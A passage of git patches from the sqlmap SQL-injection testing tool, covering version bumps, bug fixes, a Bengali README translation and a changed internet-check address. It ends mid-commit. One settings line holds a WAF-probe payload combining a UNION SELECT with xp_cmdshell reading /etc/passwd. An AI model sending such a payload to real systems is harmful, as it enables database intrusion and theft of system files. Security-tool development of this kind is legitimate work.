thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.5" +VERSION = "1.9.7.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 56a064474fc..1730f2ccaf9 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -21,9 +21,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapNoneDataException -from lib.core.exception import SqlmapSilentQuitException from lib.core.settings import DEFAULT_PAGE_ENCODING -from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX from lib.core.settings import LOWER_RATIO_BOUND @@ -37,14 +35,16 @@ from thirdparty import six def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): - try: - _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) - return _ - except: - warnMsg = "there was a KNOWN issue inside the internals regarding the difflib/comparison of pages. " - warnMsg += "Please report details privately via e-mail to '%s'" % DEV_EMAIL_ADDRESS - logger.critical(warnMsg) - raise SqlmapSilentQuitException + if not isinstance(page, (six.text_type, six.binary_type, type(None))): + logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) + + try: + page = b"".join(page) + except: + page = six.text_type(page) + + _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) + return _ def _adjust(condition, getRatioValue): if not any((conf.string, conf.notString, conf.regexp, conf.code)): From 2ffaaca3d071a165b829639bbed0b50cab5fa710 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 13 Jul 2025 23:54:17 +0200 Subject: [PATCH 201/853] Fixes #5929 --- data/txt/sha256sums.txt | 6 +++--- lib/core/patch.py | 9 +++++++++ lib/core/settings.py | 2 +- sqlmap.py | 4 ++-- 4 files changed, 15 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c73eeacc6a3..286c958a392 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,13 +181,13 @@ c9d1f64648062d7962caf02c4e2e7d84e8feb2a14451146f627112aae889afcd lib/core/dump. 3d308440fb01d04b5d363bfbe0f337756b098532e5bb7a1c91d5213157ec2c35 lib/core/log.py 2a06dc9b5c17a1efdcdb903545729809399f1ee96f7352cc19b9aaa227394ff3 lib/core/optiondict.py 3ca1a6759c196aa104130af0ed47826cd01009beaa3fa836a25faabfec7dd18e lib/core/option.py -866e93c93541498ecce70125037bdd376d78188e481d225f81843f21f4797d8c lib/core/patch.py +fd449fe2c707ce06c929fc164cbabb3342f3e4e2b86c06f3efc1fc09ac98a25a lib/core/patch.py 85f10c6195a3a675892d914328173a6fb6a8393120417a2f10071c6e77bfa47d lib/core/profiling.py c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readlineng.py d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -a7498d5d6e0e51b8a8458c85dee52c20aeb815412f65dca979001ff7d78354b1 lib/core/settings.py +2e39b8c1d30ae42b32cc94325f1f85780e2a81cec9ea9263446d10500f81f5db lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -476,7 +476,7 @@ baaf7a29a1fe07e7cecc7fb1b1f6a6f327b12154b8d5619e9808b2cf43ad2198 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml c43cc0dd5b4026083ad420c04705a031504aa503cc99ab2236010c4cbd472d39 sqlmap.conf -cf35266a47f5acfd5f0c7dfc4443bf46480cdc2e1ae9cfc2014602e798e91d24 sqlmap.py +822b706e791eba9b994b08e7600a3adfc3843d360437edfa0bfd588a1f58a13c sqlmap.py 82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py diff --git a/lib/core/patch.py b/lib/core/patch.py index 2d29fb6ea35..26c9b354fb7 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -99,6 +99,15 @@ def _(self, *args): else: os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929 + try: + global collections + if not hasattr(collections, "MutableSet"): + import collections.abc + collections.MutableSet = collections.abc.MutableSet + except ImportError: + pass + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 # Reference: https://stackoverflow.com/a/14076841 try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 820a6c06401..0d8853e6954 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.6" +VERSION = "1.9.7.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 8ca24fff442..6462080867b 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -513,7 +513,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "'cryptography' package is required": + elif "'cryptography' package is required" in excMsg: errMsg = "third-party library 'cryptography' is required" logger.critical(errMsg) raise SystemExit @@ -548,7 +548,7 @@ def main(): errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) - if conf.get("api") or not valid or kb.lastCtrlCTime: + if conf.get("api") or not valid or kb.get("lastCtrlCTime"): logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) From 6bf64bfa88c131be82912ae4567786e06f081098 Mon Sep 17 00:00:00 2001 From: Sheikh Mohammad Hasan <90191914+4m3rr0r@users.noreply.github.com> Date: Fri, 25 Jul 2025 17:14:55 +0600 Subject: [PATCH 202/853] Create README-bn-BD.md (#5864) --- doc/translations/README-bn-BD.md | 62 ++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 doc/translations/README-bn-BD.md diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md new file mode 100644 index 00000000000..4d8eaa18fb5 --- /dev/null +++ b/doc/translations/README-bn-BD.md @@ -0,0 +1,62 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +**SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও। + + + +স্ক্রিনশট +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-এর বিভিন্ন ফিচারের ডেমোনস্ট্রেশন দেখতে পারেন। + +ইনস্টলেশন +--- +সর্বশেষ টারবলে ডাউনলোড করুন [এখানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সর্বশেষ জিপ ফাইল [এখানে](https://github.com/sqlmapproject/sqlmap/zipball/master)। + +অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে ক্লোন করুন: + +``` +git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev +``` + +SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.6**, **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে। + + + +ব্যবহারের নির্দেশিকা +--- + +বেসিক অপশন এবং সুইচসমূহ দেখতে ব্যবহার করুন: + +``` +python sqlmap.py -h +``` + +সমস্ত অপশন ও সুইচের তালিকা পেতে ব্যবহার করুন: + +``` +python sqlmap.py -hh +``` + +আপনি একটি নমুনা রান দেখতে পারেন [এখানে](https://asciinema.org/a/46601)। +SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এবং কনফিগারেশন সম্পর্কে বিস্তারিত জানতে [ব্যবহারকারীর ম্যানুয়াল](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামর্শ দেওয়া হচ্ছে। + + + +লিঙ্কসমূহ +--- + +- **হোমপেজ:** https://sqlmap.org +- **ডাউনলোড:** [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +- **কমিটস RSS ফিড:** https://github.com/sqlmapproject/sqlmap/commits/master.atom +- **ইস্যু ট্র্যাকার:** https://github.com/sqlmapproject/sqlmap/issues +- **ব্যবহারকারীর ম্যানুয়াল:** https://github.com/sqlmapproject/sqlmap/wiki +- **সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ):** https://github.com/sqlmapproject/sqlmap/wiki/FAQ +- **X (Twitter):** [@sqlmap](https://twitter.com/sqlmap) +- **ডেমো ভিডিও:** [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +- **স্ক্রিনশট:** https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + From bb546015f9e8cc2660ac05bc9895e7cd1bf6349c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 25 Jul 2025 13:19:46 +0200 Subject: [PATCH 203/853] Commit related to the #5864 --- README.md | 1 + data/txt/sha256sums.txt | 5 +++-- doc/translations/README-bn-BD.md | 20 ++++++++++---------- lib/core/settings.py | 2 +- 4 files changed, 15 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index 777d4aa03dd..b569265e063 100644 --- a/README.md +++ b/README.md @@ -53,6 +53,7 @@ Translations ---- * [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md) +* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md) * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 286c958a392..68daefeeb47 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -90,6 +90,7 @@ abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md 3a8d6530c3aa16938078ee5f0e25178e8ce92758d3bad5809f800aded24c9633 doc/translations/README-ar-AR.md d739d4ced220b342316f5814216bdb1cb85609cd5ebb89e606478ac43301009e doc/translations/README-bg-BG.md +66ffca43a07c6d366fe68d5d4c93dca447c7adbff8d5e0f716fcbe54a2021854 doc/translations/README-bn-BD.md 6882f232e5c02d9feb7d4447e0501e4e27be453134fb32119a228686b46492a5 doc/translations/README-ckb-KU.md 9bed1c72ffd6b25eaf0ff66ac9eefaa4efc2f5e168f51cf056b0daf3e92a3db2 doc/translations/README-de-DE.md 008c66ba4a521f7b6f05af2d28669133341a00ebc0a7b68ce0f30480581e998c doc/translations/README-es-MX.md @@ -187,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -2e39b8c1d30ae42b32cc94325f1f85780e2a81cec9ea9263446d10500f81f5db lib/core/settings.py +1bb803780eb75c2a1f7f815e307f2531d76409e78863426e535401c551243beb lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -472,7 +473,7 @@ ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generi 7bb6403d83cc9fd880180e3ad36dca0cc8268f05f9d7e6f6dba6d405eea48c3a plugins/generic/takeover.py 115ee30c77698bb041351686a3f191a3aa247adb2e0da9844f1ad048d0e002cd plugins/generic/users.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/__init__.py -baaf7a29a1fe07e7cecc7fb1b1f6a6f327b12154b8d5619e9808b2cf43ad2198 README.md +f5cad477023c8145c4db7aa530976fc75b098cf59a49905f28d02f6771fd9697 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml c43cc0dd5b4026083ad420c04705a031504aa503cc99ab2236010c4cbd472d39 sqlmap.conf diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md index 4d8eaa18fb5..d602cc31652 100644 --- a/doc/translations/README-bn-BD.md +++ b/doc/translations/README-bn-BD.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও। @@ -50,13 +50,13 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ লিঙ্কসমূহ --- -- **হোমপেজ:** https://sqlmap.org -- **ডাউনলোড:** [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -- **কমিটস RSS ফিড:** https://github.com/sqlmapproject/sqlmap/commits/master.atom -- **ইস্যু ট্র্যাকার:** https://github.com/sqlmapproject/sqlmap/issues -- **ব্যবহারকারীর ম্যানুয়াল:** https://github.com/sqlmapproject/sqlmap/wiki -- **সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ):** https://github.com/sqlmapproject/sqlmap/wiki/FAQ -- **X (Twitter):** [@sqlmap](https://twitter.com/sqlmap) -- **ডেমো ভিডিও:** [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -- **স্ক্রিনশট:** https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* হোমপেজ: https://sqlmap.org +* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ইস্যু ট্র্যাকার: https://github.com/sqlmapproject/sqlmap/issues +* ব্যবহারকারীর ম্যানুয়াল: https://github.com/sqlmapproject/sqlmap/wiki +* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/lib/core/settings.py b/lib/core/settings.py index 0d8853e6954..b98e996752d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.7" +VERSION = "1.9.7.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6890048041f30bc747f73c8709c3909c4d2642df Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 26 Jul 2025 12:13:57 +0200 Subject: [PATCH 204/853] Modifying the mechanism to check for --check-internet --- data/txt/sha256sums.txt | 4 ++-- lib/controller/checks.py | 5 ++--- lib/core/settings.py | 8 ++++---- 3 files changed, 8 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 68daefeeb47..b7a6a87aeb3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/vulnserver/__init__.py eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserver/vulnserver.py 96a39b4e3a9178e4e8285d5acd00115460cc1098ef430ab7573fc8194368da5c lib/controller/action.py -fad6640f60eac8ad1b65895cbccc39154864843a2a0b0f2ac596d3227edcd4f6 lib/controller/checks.py +2c8652359d6790755117ec5c68d0ddffacff5f3377ad5004c4fffd29c2446d61 lib/controller/checks.py 34e9cf166e21ce991b61ca7695c43c892e8425f7e1228daec8cadd38f786acc6 lib/controller/controller.py 49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -1bb803780eb75c2a1f7f815e307f2531d76409e78863426e535401c551243beb lib/core/settings.py +8382e074a0233294ac9d274abbf0bbfa190c1d263f1d8c1a218f4fe7189e7405 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 06bf5d8b69b..92b1aac6783 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -73,7 +73,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CHECK_INTERNET_ADDRESS -from lib.core.settings import CHECK_INTERNET_VALUE +from lib.core.settings import CHECK_INTERNET_CODE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX @@ -1586,8 +1586,7 @@ def checkConnection(suppressOutput=False): return True def checkInternet(): - content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] - return CHECK_INTERNET_VALUE in (content or "") + return Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[2] == CHECK_INTERNET_CODE def setVerbosity(): # Cross-referenced function raise NotImplementedError diff --git a/lib/core/settings.py b/lib/core/settings.py index b98e996752d..9648bc0f123 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.8" +VERSION = "1.9.7.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -634,10 +634,10 @@ MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05 # Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9) -CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json" +CHECK_INTERNET_ADDRESS = "http://www.google.com/generate_204" -# Value to look for in response to CHECK_INTERNET_ADDRESS -CHECK_INTERNET_VALUE = '"ip":' +# HTTP code to look in response to CHECK_INTERNET_ADDRESS +CHECK_INTERNET_CODE = 204 # Payload used for checking of existence of WAF/IPS (dummier the better) IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" From 23b19aa1f31cb39da5ba1433020c29892c428d13 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 26 Jul 2025 12:21:02 +0200 Subject: [PATCH 205/853] Minor improvements --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 16 ++++++++-------- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b7a6a87aeb3..e7f9d717b2d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -8382e074a0233294ac9d274abbf0bbfa190c1d263f1d8c1a218f4fe7189e7405 lib/core/settings.py +7cf76d3f706a313afbcf14dcb9149db91c0a3fe20ab15e1263ef4990815957d4 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9648bc0f123..390a7c0a5ba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.7.9" +VERSION = "1.9.7.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -64,18 +64,18 @@ DUMMY_JUNK = "ahy9Ouge" # Markers for special cases when parameter values contain html encoded characters -PARAMETER_AMP_MARKER = "__AMP__" -PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" -BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" -PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__" +PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" +PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__" +BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" -URI_QUESTION_MARKER = "__QUESTION__" +URI_QUESTION_MARKER = "__URI_QUESTION__" ASTERISK_MARKER = "__ASTERISK__" REPLACEMENT_MARKER = "__REPLACEMENT__" BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" -SAFE_VARIABLE_MARKER = "__SAFE__" +SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__" SAFE_HEX_MARKER = "__SAFE_HEX__" DOLLAR_MARKER = "__DOLLAR__" @@ -97,7 +97,7 @@ TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages -PERMISSION_DENIED_REGEX = r"(?P(command|permission|access)\s*(was|is)?\s*denied)" +PERMISSION_DENIED_REGEX = r"\b(?P(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" From 96650e1c15e3f5837bf0677d6f8506a5de1005d2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 26 Jul 2025 12:27:36 +0200 Subject: [PATCH 206/853] Minor improvement --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e7f9d717b2d..716e51a3b5b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py 